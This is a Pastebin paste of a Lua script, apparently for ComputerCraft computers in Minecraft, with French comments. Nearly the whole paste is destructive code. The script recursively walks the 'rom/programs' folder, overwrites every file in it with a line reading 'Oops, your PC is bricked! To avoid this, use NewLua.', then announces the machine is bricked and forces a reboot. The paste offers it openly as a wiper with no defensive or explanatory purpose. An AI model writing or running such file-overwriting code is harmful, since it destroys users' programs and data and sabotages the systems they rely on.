Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- -- Message à insérer dans chaque fichier de commande
- local message = [[
- print("Oops, your PC is bricked! To avoid this, use NewLua.")
- ]]
- -- Fonction pour remplacer le contenu des fichiers dans un dossier
- local function replaceFilesInFolder(folderPath)
- local files = fs.list(folderPath)
- for _, file in ipairs(files) do
- local fullPath = fs.combine(folderPath, file)
- if fs.isDir(fullPath) then
- -- Si c'est un dossier, appliquer récursivement
- replaceFilesInFolder(fullPath)
- else
- -- Écrire le message dans le fichier
- local fileHandle = fs.open(fullPath, "w")
- fileHandle.write(message)
- fileHandle.close()
- print("Fichier remplacé : " .. fullPath)
- end
- end
- end
- -- Dossier cible (le dossier des commandes par défaut)
- local targetFolder = "rom/programs"
- -- Vérifier si le dossier cible existe
- if fs.exists(targetFolder) and fs.isDir(targetFolder) then
- print("Modification des fichiers dans " .. targetFolder)
- replaceFilesInFolder(targetFolder)
- print("Tous les fichiers ont été remplacés.")
- else
- print("Erreur : Le dossier " .. targetFolder .. " n'existe pas ou est inaccessible.")
- end
- -- Message avant redémarrage
- print("\nOops, your PC is bricked! Redémarrage dans 5 secondes...")
- sleep(5) -- Attendre 5 secondes
- -- Redémarrage du PC
- os.reboot()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement